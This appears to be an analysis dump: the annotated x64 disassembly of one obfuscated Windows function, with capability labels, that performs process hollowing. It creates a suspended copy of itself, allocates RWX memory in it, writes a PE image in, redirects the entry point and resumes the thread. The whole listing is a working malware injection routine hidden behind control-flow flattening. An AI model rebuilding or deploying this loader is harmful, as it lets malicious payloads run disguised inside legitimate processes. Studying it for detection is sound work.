Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x588
movaps xmmword [rsp + 0x570], xmm6
mov r14, rcx
mov rax, qword [0x140093e08]
xor rax, rsp
mov qword [rsp + 0x568], rax
lea rdi, [rsp + 0x148]
mov qword [rsp + 0xa8], rdi
mov rax, qword [rsp + 0xa8]
lea rax, [rsp + 0xe0]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xa8]
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rsp + 0xb0]
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x60], 0
lea rax, [rsp + 0x160]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x68], rcx
lea rax, [rcx + 0x3c]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
movsxd rax, dword [rax]
add rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax]
mov dword [rsp + 0xc8], eax
mov ecx, 0x9e966eea
mov esi, 0x2ed37be8
mov dword [rsp + 0x84], eax
jmp 0x140001210
mov rax, qword [rsp + 0xb8]
movsxd rax, dword [rax]
add rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
shl rcx, 3
lea rcx, [rcx + rcx*4]
movabs rdx, 0xb0d6e39a32c1cf2c
add rax, rdx
sub rdx, rax
sub rdx, rcx
mov eax, 0x118
sub rax, rdx
mov r9d, dword [rax]
mov eax, 0x11c
sub rax, rdx
mov r8d, dword [rax]
add r8, qword [rsp + 0x68]
mov rax, qword [rsp + 0x90]
mov ecx, 0x114
sub rcx, rdx
mov edx, dword [rcx]
movabs rcx, 0xa900b8ea712324ce
sub rdx, rcx
add rdx, rax
add rdx, rcx
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax]
mov qword [rsp + 0x20], 0
mov rbx, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rbx
mov r8, qword [rsp + 0xc0]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax + 0x88]
add rdx, 0x10
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax]
mov qword [rsp + 0x20], 0
mov r9d, 8
call rbx
mov rax, qword [rsp + 0x58]
add rax, 1
mov qword [rsp + 0xd8], rax
mov eax, dword [0x140094c34]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
mov ecx, 0xa1830927
mov ebp, 0xee0c9dbe
cmove ecx, ebp
cmp dword [0x140094c38], 0xa
mov edx, 0xa1830927
cmovge ecx, edx
setl dl
xor dl, al
cmovne ecx, ebp
nop dword [rax + rax]
cmp ecx, 0xfbaa3e77
jg 0x1400012a0
cmp ecx, 0xb5c6b0a1
jle 0x1400012f0
cmp ecx, 0xe15e6584
jle 0x140001402
cmp ecx, 0xee0c9dbd
jg 0x140001524
cmp ecx, 0xe15e6585
je 0x140001b29
cmp ecx, 0xead693b0
jne 0x140001210
mov eax, dword [0x140094c34]
mov edx, dword [0x140094c38]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete r8b
cmp edx, 0xa
setl bl
xor bl, r8b
mov ebx, 0x3b363225
mov ebp, 0x686a18be
cmovne ebx, ebp
test eax, ecx
mov ecx, ebx
cmove ecx, ebp
cmp edx, 0xa
cmovge ecx, ebx
jmp 0x140001210
cmp ecx, 0x52f85392
jg 0x140001390
cmp ecx, 0x233a818d
jg 0x14000145c
cmp ecx, 0xc6f6c10
jg 0x140001553
cmp ecx, 0xfbaa3e78
je 0x14000185e
cmp ecx, 0x657836d
jne 0x140001210
mov ecx, 0xb5a6a58a
jmp 0x140001210
cmp ecx, 0xa82496c2
jg 0x14000148d
cmp ecx, 0x9e966ee9
jg 0x140001582
cmp ecx, 0x8297da9a
je 0x140001105
cmp ecx, 0x972d7f87
jne 0x140001210
mov eax, dword [0x140094c34]
mov edx, dword [0x140094c38]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov eax, 0x657836d
mov ebp, 0xb5a6a58a
cmovne eax, ebp
cmp ecx, 0xffffffff
mov ecx, eax
cmove ecx, ebp
cmp edx, 0xa
cmovge ecx, eax
mov eax, dword [rsp + 0x84]
and al, 1
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xa8]
jmp 0x140001210
cmp ecx, 0x700e95e4
jg 0x1400014c6
cmp ecx, 0x68f2239d
jg 0x140001698
cmp ecx, 0x52f85393
je 0x14000188f
cmp ecx, 0x686a18be
jne 0x140001210
mov eax, dword [rsp + 0x60]
add eax, 0xffffffff
mov dword [rsp + 0xcc], eax
mov eax, dword [0x140094c34]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
mov ecx, 0x3b363225
mov ebp, 0x700e95e5
cmove ecx, ebp
cmp dword [0x140094c38], 0xa
mov edx, 0x3b363225
jmp 0x140001200
cmp ecx, 0xc3ab8a2e
jg 0x1400016d5
cmp ecx, 0xb5c6b0a2
je 0x14000189f
cmp ecx, 0xbff5f471
jne 0x140001210
mov rax, qword [rsp + 0x88]
mov r8d, dword [rax + 0x50]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x148]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, 0xc3ab8a2f
jmp 0x140001210
cmp ecx, 0x3b363224
jg 0x140001752
cmp ecx, 0x233a818e
je 0x1400018d4
cmp ecx, 0x2ed37be8
jne 0x140001210
mov ecx, 0x233a818e
xor r15d, r15d
jmp 0x140001210
cmp ecx, 0xb456b6e2
jg 0x140001780
cmp ecx, 0xa82496c3
je 0x1400018f2
cmp ecx, 0xb1efe1f8
jne 0x140001210
mov ecx, 0x972d7f87
mov dword [rsp + 0x84], 0
jmp 0x140001210
cmp ecx, 0x794c2985
jg 0x1400017cd
cmp ecx, 0x700e95e5
je 0x14000190e
cmp ecx, 0x7316844f
jne 0x140001210
mov qword [rsp + 0x58], r12
mov eax, dword [0x140094c34]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
mov ecx, 0xf81923bb
mov ebp, 0xb456b6e3
cmove ecx, ebp
cmp dword [0x140094c38], 0xa
mov edx, 0xf81923bb
jmp 0x140001200
cmp ecx, 0xee0c9dbe
je 0x140001920
cmp ecx, 0xf81923bb
jne 0x140001210
mov rax, qword [rsp + 0x88]
mov rax, qword [rsp + 0x58]
mov ecx, 0xb456b6e3
jmp 0x140001210
cmp ecx, 0xc6f6c11
je 0x140001932
cmp ecx, 0x1901bf52
jne 0x140001210
cmp byte [rsp + 0x65], 0
mov ecx, 0xc6f6c11
mov eax, 0x52f85393
cmovne ecx, eax
jmp 0x140001210
cmp ecx, 0x9e966eea
je 0x14000196d
cmp ecx, 0xa1830927
jne 0x140001210
mov rax, qword [rsp + 0xb8]
movsxd rax, dword [rax]
mov rcx, qword [rsp + 0x68]
add rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
lea rcx, [rcx + rcx*4]
mov r9d, dword [rax + rcx*8 + 0x118]
mov r8d, dword [rax + rcx*8 + 0x11c]
mov rdx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x68]
add r8, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x90]
mov edx, dword [rax + rcx*8 + 0x114]
add rdx, rbx
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax]
mov qword [rsp + 0x20], 0
mov rbx, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rbx
mov r8, qword [rsp + 0xc0]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax + 0x88]
add rdx, 0x10
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax]
mov qword [rsp + 0x20], 0
mov r9d, 8
call rbx
mov rax, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
mov ecx, 0x8297da9a
jmp 0x140001210
cmp ecx, 0x68f2239e
je 0x14000198b
cmp ecx, 0x6b787b4a
jne 0x140001210
mov eax, dword [0x140094c34]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
mov ecx, 0xa1830927
mov ebp, 0x8297da9a
jmp 0x1400011f1
cmp ecx, 0xc3ab8a2f
je 0x1400019cc
cmp ecx, 0xc8bea600
jne 0x140001210
xor ecx, ecx
lea rbx, [rsp + 0x160]
mov rdx, rbx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov rcx, rbx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, 0xfbaa3e78
mov eax, 0xb1efe1f8
cmove ecx, eax
jmp 0x140001210
cmp ecx, 0x3b363225
je 0x140001a92
cmp ecx, 0x4b07380c
jne 0x140001210
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x14000184e
cmp ecx, 0xb456b6e3
je 0x140001ab4
cmp ecx, 0xb5a6a58a
jne 0x140001210
mov eax, dword [0x140094c34]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
mov ecx, 0x657836d
mov ebp, 0xe15e6585
cmove ecx, ebp
cmp dword [0x140094c38], 0xa
mov edx, 0x657836d
jmp 0x140001200
cmp ecx, 0x794c2986
je 0x140001b12
cmp ecx, 0x7a244c46
jne 0x140001210
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xa0]
mov ecx, dword [rcx + 0x10]
movabs rdx, 0xaa2960792fd0787
sub rcx, rdx
add rcx, rax
add rcx, rdx
mov rax, qword [rsp + 0x70]
mov qword [rax + 0x80], rcx
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax]
mov rdx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x233a818e
mov r15d, 1
jmp 0x140001210
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
mov ecx, 0x68f2239e
cmove ecx, esi
jmp 0x140001210
mov ecx, 0xa82496c3
mov r13d, 3
jmp 0x140001210
mov eax, dword [0x140094c34]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
mov ecx, 0xbff5f471
mov ebp, 0xc3ab8a2f
cmove ecx, ebp
cmp dword [0x140094c38], 0xa
mov edx, 0xbff5f471
jmp 0x140001200
test r15d, r15d
mov ecx, 0x972d7f87
mov eax, 0xb1efe1f8
cmove ecx, eax
mov al, 1
mov dword [rsp + 0x84], eax
jmp 0x140001210
mov dword [rsp + 0x60], r13d
cmp dword [rsp + 0x60], 0
mov ecx, 0x4b07380c
mov eax, 0xead693b0
cmovns ecx, eax
jmp 0x140001210
mov ecx, 0xa82496c3
mov r13d, dword [rsp + 0xcc]
jmp 0x140001210
mov ecx, 0x7316844f
mov r12, qword [rsp + 0xd8]
jmp 0x140001210
mov rax, qword [rsp + 0xa0]
mov r9d, dword [rax + 0x3c]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax]
mov rdx, qword [rsp + 0x90]
mov qword [rsp + 0x20], 0
mov r8, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, 0x7316844f
xor r12d, r12d
jmp 0x140001210
mov eax, dword [rsp + 0xc8]
cmp eax, 0x4550
mov ecx, 0xb1efe1f8
mov eax, 0xc8bea600
cmove ecx, eax
jmp 0x140001210
mov rax, qword [rsp + 0x70]
mov dword [rax + 0x30], 0x10000b
lea rax, [rsp + 0x150]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax]
mov rdx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
mov ecx, 0xb5c6b0a2
cmove ecx, esi
jmp 0x140001210
mov rax, qword [rsp + 0x88]
add rax, 0x18
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov r8d, dword [rax + 0x38]
mov rax, qword [rsp + 0xa0]
add rax, 0x18
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov qword [rsp + 0x78], rdi
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [0x140094c34]
mov rbp, rdi
mov edi, dword [0x140094c38]
lea ebx, [rcx - 1]
imul ebx, ecx
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete cl
cmp edi, 0xa
setl dl
xor dl, cl
mov edx, 0xbff5f471
mov esi, 0x1901bf52
cmovne edx, esi
cmp ebx, 0xffffffff
mov ecx, edx
cmove ecx, esi
mov esi, 0x2ed37be8
cmp edi, 0xa
mov rdi, rbp
mov qword [rsp + 0x90], rax
cmovge ecx, edx
cmp qword [rsp + 0x90], 0
sete byte [rsp + 0x65]
jmp 0x140001210
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov ecx, 0x686a18be
jmp 0x140001210
mov eax, dword [0x140094c34]
mov edx, dword [0x140094c38]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov eax, 0xf81923bb
mov ebp, 0x794c2986
cmovne eax, ebp
cmp ecx, 0xffffffff
mov ecx, eax
cmove ecx, ebp
cmp edx, 0xa
mov rdx, qword [rsp + 0x88]
movzx edx, word [rdx + 6]
mov rbx, qword [rsp + 0x58]
cmovge ecx, eax
cmp rbx, rdx
setb byte [rsp + 0x66]
jmp 0x140001210
cmp byte [rsp + 0x66], 0
mov ecx, 0x7a244c46
mov eax, 0x6b787b4a
cmovne ecx, eax
jmp 0x140001210
mov bl, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x568]
xor rcx, rsp
call fcn.1400317a0
mov eax, ebx
movaps xmm6, xmmword [rsp + 0x570]
add rsp, 0x588
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret